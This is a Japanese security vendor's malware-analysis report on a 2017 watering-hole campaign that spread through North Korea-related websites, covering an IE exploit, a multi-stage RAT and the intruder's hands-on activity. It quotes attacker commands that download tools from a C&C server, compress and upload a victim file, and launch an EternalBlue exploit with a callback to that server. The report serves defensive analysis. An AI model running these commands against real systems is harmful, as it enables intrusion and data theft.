北朝鮮関連サイトを踏み台とした水飲み場型攻撃 解析レポート

NTT セキュリティ・ジャパン株式会社
2017/08/21

本レポートの目的
NTT セキュリティ・ジャパン株式会社のセキュリティオペレーションセンター（以下 SOC）は、グローバルにおけるお客様システムを 24 時間体制で監視し、迅速な脅
威発見と最適な対策を実現するマネージド・セキュリティ・サービス（以下 MSS）を提供しています。最新の脅威に対応するための様々なリサーチ活動を行い、その結果をブラックリストやカスタムシグネチャ、IOC（Indicator of Compromise）、アナリス
トが分析で使用するナレッジとしてサービスに活用しています。
SOC では、2017 年 4 月頃から在日本朝鮮人総連合会（朝鮮総連）や朝鮮通信の Web
サイトを利用した水飲み場型攻撃を観測しました。攻撃に利用されたマルウェアはバン
キングマルウェアやランサムウェアなどばら撒きに利用されるマルウェアではなく、リモートから操作を行うことが主たる目的のマルウェアでしたが、標的型攻撃で多く観測される PoisonIVY、PlugX、Emdivi、Chches といった RAT とは全く異なるものでした。
しかしながら、この攻撃手法やマルウェアに関しては、あまり多くの情報が公開されていませんでした。被害の防止に役立てるため、これらの攻撃手法やマルウェアの挙動について調査した結果を技術者向けのホワイトペーパーとして公開しました。

1

概要
NTT セキュリティ・ジャパン株式会社の SOC では、2017 年 4 月頃から在日本朝鮮人総連合会（朝鮮総連）および朝鮮通信の Web サイトを利用した水飲み場型攻撃を観測しました。本攻撃では、脆弱性のあるブラウザで当該サイトにアクセスしただけでマルウェアの感染を引き起こします。本レポートでは、水飲み場型攻撃の背景、使用された攻撃コードやマルウェアの特徴、感染後端末に侵入した攻撃者の振る舞いについて、
以下の通り調査した結果を報告します。



朝鮮総連および朝鮮通信の Web サイトを起点とした一連の攻撃は同じ攻撃者によって行われ、北朝鮮の情報に関心のあるユーザーの機密情報を狙った水飲み場型攻撃であると考えられる。



脆弱性攻撃には、複数のエクスプロイトキットで採用実績のある Internet
Explorer の脆弱性（CVE-2016-0189）を使用していた。

C&C サーバは日本・韓国リージョンの Amazon AWS 上に存在しており、C&C
サーバとの HTTP 通信では、User-Agent、アクセス先ファイル名に MD5 ハッ
シュ値と思われる 32 バイトの文字列を利用していた。



感染後の遠隔操作は手動で実施しており、機密情報に興味がある様子が伺えた。
また、感染拡大の際に EternalBlue（MS17-010）の脆弱性を悪用するツールを使用していた。

付録には、今回の調査で入手した検体のハッシュ値、ミューテックス、接続先 IP ア
ドレスを記載しています。感染防止や被害を受けた端末の発見などの対策にご活用ください。

2

1. はじめに2017 年 5 月、朝鮮総連の Web サイトがサイバー攻撃を受け、アクセスしただけで情報を盗まれる不正プログラムが仕込まれていたと報道されました[1]。朝鮮総連は、見覚えのないファイルが Web サイト上に存在していることを確認し、外部から侵入された形跡があったことを伝えています。
SOC では、2017 年の 4 月～5 月にかけて、報道にあった朝鮮総連の Web サイト[2]へのアクセスに伴って引き起こされたドライブ・バイ・ダウンロード攻撃を確認しました。また、日本に所在し、朝鮮中央通信と連携した報道機関である朝鮮通信の Web サイト[3]へのアクセスにおいても、朝鮮総連と同様のドライブ・バイ・ダウンロード攻撃を確認しました。
同時期に北朝鮮に関連する情報を取り扱った 2 つの Web サイトが同じ攻撃者によって利用されていることから北朝鮮の情報に関心のあるユーザーを狙った水飲み場型攻撃であると考えられます。
本レポートでは、2017 年 4 月から確認されている北朝鮮関連 Web サイトを起点とした水飲み場型攻撃の調査結果を共有します。2 章では本攻撃の全体像を示します。3
章では、実際の攻撃内容として、ドライブ・バイ・ダウンロード攻撃で使用された攻撃
コードやマルウェアについての解析結果を説明しています。4 章では、弊社独自の攻撃
観測環境に侵入した攻撃者の振る舞いから、本攻撃の目的を推察しています。

3

2. 攻撃の全体像
本章では、調査結果から想定される水飲み場型攻撃の全体像を示します。

エクスプロイトの配布

3.1節
改ざんサイトマルウェアの配布
ユーザ

C&Cサーバ

3.2節
3.3節
3.4節

遠隔操作

4章
攻撃者

図 1 水飲み場型攻撃の全体像

ユーザーが朝鮮総連の Web サイトや朝鮮通信の Web サイトにアクセスするとInternet Explorer の脆弱性を悪用する攻撃コードが送り込まれます。脆弱性が存在してこれが悪用された場合、一次検体が日本・韓国リージョンの Amazon AWS 上に存在する C&C サーバからダウンロードされ、実行されます。一次検体はダウンローダーとして同じ C&C サーバから二次検体をダウンロードし実行します。二次検体は BOT として C&C サーバからコマンドを受信し、追加モジュールとして三次検体をダウンロード
し実行します。三次検体は攻撃者の用途によって使い分けられるため複数種類が存在します。攻撃者は感染拡大や情報収集を目的にこれらマルウェアを利用して、外部からユーザーの端末上で任意のコマンドを実行します。3.1 節では攻撃コードについて、3.2、
3.3、3.4 節ではマルウェアの挙動について、4 章では攻撃者からのコマンドについて説明します。

4

3. 攻撃の解析
本章では、2017 年 4～5 月にかけて SOC で観測した北朝鮮関連サイトを起点とした
水飲み場型攻撃の解析結果を示します。
今回の攻撃では、朝鮮総連の Web サイトや朝鮮通信の Web サイトにアクセスすると、不正に挿入された攻撃コードが実行され、ドライブ・バイ・ダウンロード攻撃が実施されます。SOC では、アクセスした端末のブラウザに脆弱性が存在した場合、マルウェアがダウンロードされ、感染に至ることを確認しています。
以降では、朝鮮通信の Web サイトへのアクセスにおいて、ドライブ・バイ・ダウン
ロード攻撃で使用された攻撃コード、ダウンロードされたマルウェアについて、それぞれ解析した結果を説明します。

5

3.1. 攻撃コード
朝鮮通信の Web サイトにアクセスした際に、HTTP レスポンスの中に脆弱性
CVE-2016-0189 を狙った攻撃コードが挿入されていることを確認しました。本脆弱性
は、VBScript の配列アクセスに対する排他処理やセキュリティポリシーの実装不備を悪用して、リモートから Internet Explorer に対して任意のコード実行が可能となるものです[4]。
図 2 に、挿入されていた JavaScript を整形したコードを示します。コード内の aa()
関数は本脆弱性を引き起こすコードが記述され、valueOf() 関数はこの脆弱性を引き起こすようにオーバーライドされています。aaa() 関数は脆弱性を引き起こした後に実行される攻撃コードが記述されています。

図 2 挿入された JavaScript コード6図 3 に、VBScript で記述されている aa() 関数のコードを示します。ここでは、2次元配列「aw」の長さを (1, 1) にリサイズし、確保していたメモリを開放しています。解放後すぐに、変数「x」が保持する細工した文字列を配列「y」に書き込んでいるため、細工した文字列は開放したメモリ領域に作成されます。メモリ解放前の配列を参照可能なオブジェクトでは、書き込まれた文字列を含め、解放されたメモリ領域を読み取ることが可能となります[5] 。

図 3 挿入された VBScript コード①（脆弱性トリガー）7

図 4 に、VBScript で記述されている aaa() 関数のコードを示します。ここでは、ダミーオブジェクトを作成し、オーバーライドされた valueOf() 関数を呼び出して脆弱性を引き起こし、先ほど書き込んだ文字列を用いてダミーオブジェクトのアドレスを読み取ります。その後、複数のオブジェクトのアドレス読み取りを介して、Safe Mode
フラグのアドレスを特定します。そして、Safe Mode フラグの値を 0x4 に変更することで、VBScript はブラウザのサンドボックスを回避して God Mode と呼ばれるローカ
ル上でコード実行が可能な状態となります[5]。

脆弱性攻撃による God Mode への移行

WScript.Shell による VBScript コードの実行
図 4 挿入された VBScript コード②（攻撃）8God Mode に移行してからは、WScript.Shell オブジェクトを作成し、難読化処理で文字列データとして組み込まれていた VBScript コードを実行しています。図 5 に、難読化を解除した VBScript コードの内容を示します。組み込まれていた VBScript コードの内容は、User-Agent に「72b7579fe4095435679933ca351822a8」を指定してURL「http://52.78.95[.]103/a7db98c120710f08ea5604f2bf622ac9.php」に HT
TP リクエストを送信し、レスポンスボディの内容をファイルに保存して、実行するものです。実行後は、スクリプトファイル自身を削除しています。

図 5 組み込まれていた VBScript コード

今回のドライブ・バイ・ダウンロード攻撃で使用された脆弱性 CVE-2016-0189 は、
これまで RIG や Gongda といったエクスプロイトキットで用いられた実績があります。
また、攻撃コードを生成するツールが容易に入手可能で、攻撃の影響を受けるバージョン範囲（Internet Explorer 9～11）が広いことも挙げられます。従って、攻撃者は、
コストパフォーマンスの観点から、ドライブ・バイ・ダウンロード攻撃の攻撃手法として本脆弱性を採用した可能性が考えられます。

9

3.2. 一次検体（ダウンローダー）
一次検体はユーザーの一次情報を収集するとともに、二次検体を C&C サーバから取得して実行するダウンローダーです。ここでは一次検体が持つ以下の特徴的な挙動について説明します。

 解析妨害 ダウンローダー
 情報送信 その他

3.2.1. 解析妨害機能一次検体では、表 1 のように複数の解析妨害機能の実装が見受けられました。

表 1 解析妨害機能リスト
解析妨害
VM 検知

説明
cpuid 命令を用いた VMware および Parallels の検知
バックドア I/O ポートによる VMware の検知
vpcext 命令を用いた VirtualPC の検知
コンピューター名に文字列「vm」が含まれているかをチェック

解析ツール検知

実行プロセスリストのチェック

ハードウェア検知

MAC アドレスチェック

ユーザー操作の検知

マウス操作の有無チェック

難読化

サブルーチンの多重構成
文字列のエンコード

10

VM 検知一次検体において、動的解析などのようにマルウェアが仮想マシン上で解析されていないかを知るための VM 検知処理がいくつか確認されています。
図 6 に、VMware 社の VM 環境の検知処理を示します。ここでは、cpuid 命令を実行することで CPU ベンダー情報を取得しています。VMware 環境の場合、eax レジスタに値「0x40000000」を設定し cpuid 命令を実行すると、ebx、ecx、edx レジスタに「VMwareVMware」という文字列が格納されます。本検知では、cpuid 命令実行後に文字列比較を実施することで VMware 環境であるかを判断しています。同じ手法で、Parallels 社の VM 環境の検知処理が実装されていることも確認しています。

図 6 VMware 環境の検知

この他の VM 検知処理として、バックドア I/O ポートの有無による VMware 環境の検知や、vpcext 命令の実行によって例外処理が発生したかどうかを確認する VirtualPC
環境の検知、GetComputerNameA() 関数で取得したコンピューター名に文字列「vm」が含まれていないかを確認する処理が見受けられました。

11

解析ツール検知
図 7 に、解析ツールの検知処理を示します。CreateToolhelp32Snapshot() 関数で取得した実行中のプロセスリストから、該当する解析ツールのプロセス名を順に文字列
比較しています。ここでは、プロセス名が「windbg.exe」であるかを判断していますが、その下の処理では、「ollydbg.exe」、「idaq.exe」、「ImmunityDebugger.exe」、「wireshark.exe」、「vmtoolsd.exe」、「python.exe」の検知処理を確認しています。

図 7 解析ツールの検知

12ハードウェア検知
次は、特定の MAC アドレスの検知処理です。図 8 に示す通り、GetAdaptersInfo()関数によって感染端末の NIC の MAC アドレスを取得しています。

図 8 NIC の MAC アドレスの取得

その後、図 9 に示すような NIC の MAC アドレスとハードコードされていた MAC ア
ドレスを比較し、一致していれば感染挙動を停止する処理が見受けられました。ハード
コードされた MAC アドレスは Lenovo 社の PC であると思われ、本検知処理は、攻撃者が開発用 PC を感染させないための対処ではないかと推測されます。

ハードコートされた MAC アドレス
NIC の MAC アドレス
図 9 MAC アドレスの比較（スタックメモリ）

ユーザー操作の検知
次は、ユーザー操作の検知処理です。6 秒毎のループ処理において GetCursorPos()関数で取得したマウスカーソル座標が変化しているかを判断する処理が見受けられました。本処理は、ユーザーによるマウス操作の有無を確認し、動的解析の環境下にいるかを判断しています。

13

難読化
次は、難読化による解析妨害処理です。一つ目の難読化は、図 10～図 14 に示すようなサブルーチンの構成を多重にした解析妨害処理です。図 10 から順にサブルーチンの処理を追っていくと、ecx レジスタを引数として渡しながら順にサブルーチンを呼び出していますが、結果的に何も処理していないことがわかります。このことから、本処理は、静的解析などにおいて、サブルーチンの処理を複雑にみせるための難読化処理であると推測されます。

図 10 サブルーチンの多重構成①

図 11 サブルーチンの多重構成②14

図 12 サブルーチンの多重構成③

図 13 サブルーチンの多重構成④

図 14 サブルーチンの多重構成⑤15

二つ目の難読化処理として、エンコード処理された文字列が見受けられました。解析
ツール検知で使用されたプロセス名、後述する C&C サーバへの通信で使用される URL
パスや User-Agent など攻撃者が隠匿したい文字列は、値「0xFF」によって XOR エン
コードされ、検体にハードコードされていました。

3.2.2. ダウンローダー
図 15 に、一次検体が二次検体をダウンロードするときの HTTP リクエストを示します。URL や User-Agent には、検体にハードコードされた MD5 と思われる hash 値が利用されています。

図 15 二次検体取得時の HTTP リクエスト

C&C サーバからダウンロードされる２次検体は図 16 で示すように java の定期アップ デ ー ト チ ェ ッ ク フ ァ イ ル （ juchech.exe ） を 装 っ て 保 存 さ れ 図 17 の よ う にCreateProcessA() 関数によって実行されます。この時の関数の引数を見るとわかるよ
うにファイル名だけでなく、フォルダパス名も正規のものを装っています。

16

図 16 ダウンロードされた二次検体の詳細情報

図 17 二次検体の実行

17

3.2.3. 情報送信
マルウェアは感染したホストの情報を計 3 回に分けて C&C サーバへ HTTP の POST
通信を利用して送信します。HTTP ヘッダに含まれる URL や User-Agent には、二次検体をダウンロードする時と同じような特徴が見られます。ただし、hash 値と思われる文字列は二次検体をダウンロードした時とは異なっています。
1 回目の送信内容は表 2 に示す通り、感染端末に関する情報が送信されます。実際のHTTP リクエストは図 18 のように、情報を BASE64 でエンコードして送信しています。

表 2 1 回目に送信される情報
変数名

送信内容

m=

MAC アドレスo=

OS バージョン

d=

ドライブ名

n=

コンピューター名v=

マルウェアのバージョン

図 18 1 回目の情報送信における HTTP リクエスト18２回目の送信内容は表 3 に示す通り、特定のフォルダ上に存在するフォルダ名やファイル名のリストを送信します。実際の HTTP リクエストは図 19 のように、１回目とは異なり送信される情報がエンコード処理などされずに平文で送信されています。
指定されたフォルダパスから推測するとどのようなプログラムがインストールされているかなどをチェックすることで攻撃者は感染ホストがどのような環境（通常利用されているものか、マルウェア解析目的で利用されているかなど）で利用されているかを確認していると考えられます。

表 3 ２回目に送信される情報取得されるフォルダパス
C:\
C:\Program Files\
C:\Program Files(x86)\%USERPROFILE%\Documents\%USERPROFILE%\Downloads\%USERPROFILE%\Desktop\

19

図 19 2 回目の情報送信における HTTP リクエスト20

最後にマルウェアは感染ホストのスクリーンキャプチャを取得し、C&C サーバへ送信します。実際の HTTP リクエストは図 20 に示すように、画像データをエンコード処理など行わずに送信しています。2 回目の情報送信と同様に感染ホストの環境をチェッ
クすることを目的としていると考えられます。

図 20 3 回目の情報送信における HTTP リクエスト

3.2.4. その他
一次検体は最後に自身の痕跡を消すために「cmd.exe」を呼び出し、ping コマンドにて「1.1.1.1」へ ping を実行した後に、del コマンドを使って自身を削除します。

21

3.3. 二次検体（BOT）
二次検体は C&C サーバから指令を受け取り動作する BOT です。基本的に一次検体と同様の機能を持っています。マウスカーソルの動作チェック以外は一次検体と同じ環境チェックを行い、C&C サーバへの通信では、3.2.3 節で紹介した内容と同じ手法で通信を行います。
以下では一次検体では見られなかった永続化機能や C&C サーバからのコマンド受信について説明します。

3.3.1. 感染挙動
二次検体は図 21 で示すように CreateServiceA() 関数を利用して自身をサービスに追加し、永続化を図ります。図 22 のようにサービス名や表示名は java のアップデートマネージャを装います。

図 21 サービス登録22

図 22 登録されたサービス

C&C サーバへの通信については図 23 で示すように 30 分に 1 回の間隔になっており、
3.2.3 節で紹介した内容と同じ手法で MAC アドレスや OS バージョン情報等を
BASE64 にエンコードして送信しながら、C&C サーバからのコマンドを待ち受けます。

図 23 30 分間隔で C&C サーバへリクエスト送信

23

3.3.2. コマンド受信
二次検体は C&C サーバから 2 種類のコマンドを待ち受けます。それぞれのコマンドとその機能を表 4 に示します。

表 4 コマンド一覧
コマンド名

機能

C

ファイルのダウンロードと実行S

C&C サーバへのコネクトバックシェルの起動

24

C コ マ ン ド で は 、 フ ァ イ ル を ダ ウ ン ロ ー ド し て か ら 図 24 に 示 す よ う にCreateProcessAsUserA() 関数を利用してプロセス名「ocheck.exe」で起動します。
起動時にはログオンユーザーのセッション ID に対応した「winlogon.exe」のプロセス
ID やアクセストークンを取得し、複製したトークンを利用することで UAC を回避して
system 権限でダウンロードしたファイルを実行します。

図 24 ダウンロードファイルの実行

S コマンドでは、図 25 で示すように WSASocket() 関数でソケットを作成し、WSAConnect() 関数を利用して C&C サーバ「52.78.95[.]103」の指定されたポートに接続します。その後、標準エラーハンドル、標準出力ハンドル、標準入力ハンドルにソケットを指定し、CreateProcessA() 関数で「cmd.exe」を実行することで、コネク
トバックシェルを起動しています。これにより、攻撃者はリモートから感染端末に対して任意のコマンドを実行できるようになります。

25

図 25 コネクトバックシェルの起動

26

3.4. 三次検体（追加モジュール）
三次検体は、二次検体が C&C サーバからダウンロードしたモジュールです。SOC では 2 種類の三次検体を確認しており、それぞれ画面キャプチャの取得と C&C サーバへのコネクトバックを行う検体でした。本節では、各検体について挙動を説明します。

3.4.1. 画面キャプチャ
三次検体の 1 つめは、一次検体で実装されていた画面キャプチャ機能と同様の機能を有しています。以降では、画面キャプチャ取得の手順を解説していきます。
まず、図 26 に示す通り、本検体は GetWindowRect() 関数で感染端末のディスプレ
イの解像度を取得しています。

図 26 ディスプレイの解像度の取得

27

その後、
図 27 に示すように画面全体を表すディスプレイデバイスコンテキストから、解像度分の色データを BitBlt() 関数で取得しています。

図 27 画面キャプチャの取得

28そして、図 28 のデコンパイル結果に示す通り、BitBlt() 関数で取得した色データを
GetDIBits() 関数によってビットマップデータとしてバッファ「lpvBits」に格納しています。その後、InternetWirteFile() 関数を呼び出して、ビットマップデータにファ
イルヘッダを付加したバッファ「lpBuffer」（bmp ファイル）を C&C サーバに送信しています。

図 28 画面キャプチャの送信(デコンパイル結果)

以上が主要な挙動であることから、本検体は、感染端末の画面キャプチャを取得し、C&C サーバに送信するためのモジュールだと考えられます。

29

3.4.2. コネクトバックシェル
三次検体の 2 つめは、二次検体で実装されていた S コマンドの機能（C&C サーバへのコネクトバックシェルの起動）と同様の機能を有しています。ただし、本検体では接続時に利用するポート番号が二次検体と異なりハードコードされています。以降では、コネクトバックシェル起動の手順を解説していきます。
まず、図 29 に示す通り、WSASocketA() 関数の呼び出しによってソケットを作成
し、WSAConnect 関数の呼び出しによって C&C サーバ「52.78.95[.]103:443」に対するソケット接続を実施しています。

図 29 C&C サーバへの接続30その後、図 30 に示す通り、感染端末の標準エラー出力、標準出力、標準入力をそれ
ぞれ C&C サーバと接続させたソケットに切り換えた状態で「cmd.exe」プロセスを起動しています。以上の手順により、C&C サーバへのコネクトバックシェルが起動され、攻撃者はリモートで任意のコマンドが実行可能となります。

図 30 コネクトバックシェル

以上が主要な挙動であることから、本検体は、C&C サーバへのコネクトバックシェ
ルを起動するためのモジュールであると考えられます。
三次検体では主に単一の機能しか実行されないものの、バイナリには一次検体または二次検体で使用されたコード片が残っていました。このことから、攻撃者は特定の機能を実行させるために、一次検体または二次検体のソースコードを切り貼りして三次検体を作成したことが伺えます。また、二次検体と比べて雑なつくりであることから、三次検体は事前に計画されて作成したものではなく、攻撃者が状況に合せて作成しているものだと考えられます。

31

4. 攻撃者による侵害時の行動分析
攻撃者は、三次検体（コネクトバックシェル）を使用することで、コマンドプロンプ
トの標準入出力と標準エラー出力を C&C サーバにリダイレクトし、コネクトバックシ
ェルを起動させて感染端末に対するさらなる調査・攻撃を行います。SOC では、攻撃者の手口を解明するため、独自の観測基盤を用いてこの過程を観測しました。観測中に攻撃者が行った操作は、大きく分けて以下の 3 つです。

 環境調査 情報窃取 感染拡大本章では、各操作について実際に入力されたコマンドを紹介しながら説明します。

32

4.1. 環境調査
環境調査は、感染端末の用途の確認や感染拡大の足がかりとなる情報の収集を目的として行われます。今回の観測では、Windows 標準のコマンドに加え、外部から取得したツールの実行による調査を確認しています。

Windows 標準のコマンドを用いた調査
実際に入力されたコマンドの一例を表 5 に示します。tasklist コマンドや net start
コマンドで感染端末上のプロセスを調査するだけでなく、net view コマンドや ipconfig
コマンドで感染端末が属するネットワーク環境を調査しています。

表 5 攻撃者が入力したコマンドの一例
コマンド

機能

tasklist

プロセス一覧を表示

net start

サービス一覧を表示

net view

同一グループに属している端末の一覧を表示

ipconfig

NIC に設定されている IP アドレス等を表示

dir

ディレクトリのファイル一覧を表示

type

ファイルの中身の表示

33

攻撃者が確認したフォルダの一例を表 6 に示します。攻撃者は dir コマンドや type
コマンドを用いてこれらのフォルダに設置されたファイルの有無や中身の確認をしていました。フォルダに設置されているファイルの特性から、ユーザーの活動の痕跡を確認していると考えられます。

表 6 攻撃者が確認したフォルダの一例
フォルダ\$Recycle.Bin

役割
削除デー タの保持%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent

最近使用 した
項目の一 覧を
保持%USERPROFILE% \AppData\Local\Temp

一時ファ イルを保持

なお、攻撃者は「ttasklist」や「ipocnfig」と入力するなど何度かタイピングミスをしていました。また、Windows 環境よりも Linux 環境に慣れているのか、rm コマン
ドなど Linux 環境用のコマンドを入力する様子も観測しています。これらのことから、攻撃者は遠隔操作を手動で実施していると考えられます。

34

外部から取得したツールを用いた情報収集
外部から取得したツールとしては、「NETRESEC RawCap version 0.1.5.0」という通信キャプチャツールの利用を確認しています。利用時のコマンドログを図 31 と図 32に示します。
ツールは C&C サーバ（http://52.78.95[.]103/98e0f9b8979cd21347468a29e6
386ca7/RawCap.exe）上に設置されています。攻撃者は、図 31 のように VB スクリ
プトを実行してツールをダウンロードした後、図 32 のように試行錯誤しながらツールを実行して通信をキャプチャしていました。

C:¥Users¥yzw¥AppData¥Local¥Temp>echo dim http_obj:dim stream_obj:set
http_obj = CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj =CreateObject("ADODB.Stream"):set shell_obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]103/98e0f9b8979cd21347468a29e6386ca7/R
awCap.exe":FILENAME = "cap.exe":http_obj.open "GET", URL, False:http_obj.send:stream_obj.type = 1:stream_obj.open:stream_obj.write http_ob
j.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start
cscript /b zxcas.vbs
C:¥Users¥yzw¥AppData¥Local¥Temp>del zxcas.vbs
図 31 RawCap の取得

35

C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -s 10 0 app.log
Unhandled Exception: System.Net.Sockets.SocketException: The requeste
d address is not valid in its context
at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, Soc
ketAddress socketAddress)
at System.Net.Sockets.Socket.Bind(EndPoint localEP)at ...ctor(IPAddress ., Int32 .)at ...(IPAddress ., String ., Boolean ., Int32 ., Int32 .)at ...(String[] .)C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -h
NETRESEC RawCap version 0.1.5.0
http://www.netresec.com
Usage: RawCap.exe [OPTIONS] <interface_nr> <target_pcap_file>
OPTIONS:-f-c <count>-s <sec>

Flush data to file after each packet (no buffer)
Stop sniffing after receiving <count> packets
Stop sniffing after <sec> seconds

INTERFACES:
0.
IP: 169.254.51.142
NIC Name : Bluetooth Network Connection 2
NIC Type : Ethernet1.

IP: 192.168.10.2
NIC Name : Local Area Connection
NIC Type : Ethernet2.

IP: 127.0.0.1
NIC Name : Loopback Pseudo-Interface 1
NIC Type : Loopback

Example: RawCap.exe 0 dumpfile.pcap
C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -s 60 1 app.log
Sniffing IP : 192.168.10.2
File: app.log
Packets: 0
Packets: 3
Packets: 4
Packets: 5
Packets: 6
図 32 RawCap の実行

36

4.2. 情報窃取
攻撃者は、環境調査の一環や機密文書の取得に際し、感染端末に保存されたファイルを圧縮してファイル共有サービスなどにアップロードするなど様々な手法を用いて情報窃取を行います。今回の観測では、感染端末に保存されていた文書ファイルを C&C
サーバに送信するまでの手口を確認しています。

C:¥Users¥yzw¥Documents>echo dim http_obj:dim stream_obj:set http_obj= CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateO
bject("ADODB.Stream"):set shell_obj = CreateObject("WScript.Shell"):
URL = "http://52.78.95[.]103/98e0f9b8979cd21347468a29e6386ca7/7z.exe":FILENAME = "7z.exe":http_obj.open "GET", URL, False:http_obj.send:
stream_obj.type = 1:stream_obj.open:stream_obj.write http_obj.respon
seBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start cscript/b zxcas.vbs
C:¥Users¥yzw¥Documents>del zxcas.vbs
C:¥Users¥yzw¥Documents>echo dim http_obj:dim stream_obj:set http_obj= CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateO
bject("ADODB.Stream"):set shell_obj = CreateObject("WScript.Shell"):
URL = "http://52.78.95[.]103/98e0f9b8979cd21347468a29e6386ca7/7z.dll":FILENAME = "7z.dll":http_obj.open "GET", URL, False:http_obj.send:
stream_obj.type = 1:stream_obj.open:stream_obj.write http_obj.respon
seBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start cscript/b zxcas.vbs
C:¥Users¥yzw¥Documents>del zxcas.vbs
C:¥Users¥yzw¥Documents>echo dim http_obj:dim stream_obj:set http_obj= CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateO
bject("ADODB.Stream"):set shell_obj = CreateObject("WScript.Shell"):
URL = "http://52.78.95[.]103/98e0f9b8979cd21347468a29e6386ca7/upload
er.exe":FILENAME = "a.exe":http_obj.open "GET", URL, False:http_obj.
send:stream_obj.type = 1:stream_obj.open:stream_obj.write http_obj.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start cs
cript /b zxcas.vbs
C:¥Users¥yzw¥Documents>del zxcas.vbs
図 33 情報窃取用ツールのダウンロード

37

外部に情報を送信するにあたり、必要となるツールは、図 33 のように C&C サーバ
からダウンロードしていました。ここでダウンロードされたツール uploader.exe（保存時のファイルは a.exe）は攻撃者が作成した独自のツールであり、引数に指定されたファイルを C&C サーバに送信します。7z.exe や 7z.dll はファイル名のとおりファイル
圧縮ツール 7zip の実行ファイルです。
7z.exe を用いてファイルを１つずつ圧縮した後、図 34 のように圧縮したファイル
を uploader.exe（a.exe）を用いて C&C サーバに送信していました。圧縮ファイルのファイル名にはユーザー名が含まれており、これはファイルを発見された場合に怪しまれないための工夫だと考えられます。

C:¥Users¥yzw¥Documents>7z.exe a yzw.7z -mhe -t7z -p Book1.xlsx
7-Zip [32] 16.04 : Copyright (c) 1999-2016 Igor Pavlov : 2016-10-04
Scanning the drive:
1 file, 8892 bytes (9 KiB)
Creating archive: yzw.7z
Items to compress: 1

Enter password (will not be echoed):1qaz@wsx3edc

Files read from disk: 1
Archive size: 6008 bytes (6 KiB)
Everything is Ok
C:¥Users¥yzw¥Documents>a.exe yzw.7z
図 34 端末内ファイルの漏えい

38また、図 35 のように使い終わったツールはすべて削除していました。攻撃の痕跡を発見されないよう慎重に作業していることが伺えます。

C:¥Users¥yzw¥Documents>del a.exe
C:¥Users¥yzw¥Documents>del yzw.7z
C:¥Users¥yzw¥Documents>del 7z.exe
C:¥Users¥yzw¥Documents>del 7z.dll

図 35 情報窃取用ツールの削除

39

4.3. 感染拡大
攻撃者は感染端末が属するネットワークのより深部まで侵入をするために感染拡大を試みます。今回の観測では、EternalBlue を悪用して感染の拡大を試みることを確認しています。
攻撃を行うにあたり、最初にネットワーク内に属する端末の探索を行います。今回の攻撃者は、図 36 のように ping コマンドを用いて近隣 IP アドレスへの疎通を確認し、攻撃の対象となる IP アドレスを絞り込んでいました。

C:¥Users¥yzw¥AppData¥Local¥Temp>ping 192.168.10.3 -n 3
Pinging 192.168.10.3 with 32 bytes of data:
Reply from 192.168.10.3: bytes=32 time=1ms TTL=128
Reply from 192.168.10.3: bytes=32 time<1ms TTL=128
Reply from 192.168.10.3: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.10.3:
Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 1ms, Average = 0ms
C:¥Users¥yzw¥AppData¥Local¥Temp>ping 192.168.10.4 -n 3
Pinging 192.168.10.4 with 32 bytes of data:
Reply from 192.168.10.2: Destination host unreachable.
Reply from 192.168.10.2: Destination host unreachable.
Reply from 192.168.10.2: Destination host unreachable.
Ping statistics for 192.168.10.4:
Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),
図 36 端末の探索

40

攻撃の対象となるホストを見つけると、攻撃者は red というフォルダを作成し、図37 のように当該フォルダ上に攻撃ツールのダウンロードを始めました。

C:¥Users¥yzw¥AppData¥Local¥Temp>mkdir red
C:¥Users¥yzw¥AppData¥Local¥Temp>cd red
C:¥Users¥yzw¥AppData¥Local¥Temp¥red>echo dim http_obj:dim stream_ob
j:set http_obj = CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateObject("ADODB.Stream"):set shell_obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]103/98e0f9b8979cd21347468a29e
6386ca7/dist.7z":FILENAME = "dist.7z":http_obj.open "GET", URL, Fals
e:http_obj.send:stream_obj.type = 1:stream_obj.open:stream_obj.write
http_obj.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs&& start cscript /b zxcas.vbs
C:¥Users¥yzw¥AppData¥Local¥Temp¥red>del zxcas.vbs
C:¥Users¥yzw¥AppData¥Local¥Temp¥red>..¥7z.exe e dist.7z
図 37 攻撃ツールのダウンロード

41

ダウンロード後は攻撃ツールでさきほど発見した近隣端末（192.168.10[.]3）に対して攻撃を行うことを確認しています。実行時のログを図 38 に示します。コンソールに表示されるテキスト「MS17-010 Exploit - SMBv1 SrvOs2FeaToNt OOB」や「KPN
Red team: <juan.sacco@kpn.com>」から、この攻撃ツール red.exe は KPN 社のセキュリティリサーチャーが公開している攻撃ツールであることが分かります。

C:¥Users¥yzw¥AppData¥Local¥Temp¥red>red.exe 192.168.10[.]3 52.78.95[.]1
03 443[*] MS17-010 Exploit - SMBv1 SrvOs2FeaToNt OOB[*] Exploit running.. Please wait[*] Thanks NSA!
[*] Creditz: @EquationGroup @ShadowBrokers @progmboy @zerosum0x0 @juansa
cco[*] KPN Red team: <juan.sacco@kpn.com>
C:¥Users¥yzw¥AppData¥Local¥Temp¥red>red.exe 192.168.10[.]3 52.78.95[.]1
03 1337[*] MS17-010 Exploit - SMBv1 SrvOs2FeaToNt OOB[*] Exploit running.. Please wait
Traceback (most recent call last):
File "poc.py", line 85, in <module>
File "poc.py", line 71, in main
socket.error: [Errno 10054] An existing connection was forcibly closed by the remote host

図 38 攻撃ツールを実行した際の表示

攻撃を観測したのは本ツールが公開されてから 2 日後でした。攻撃者もセキュリティ
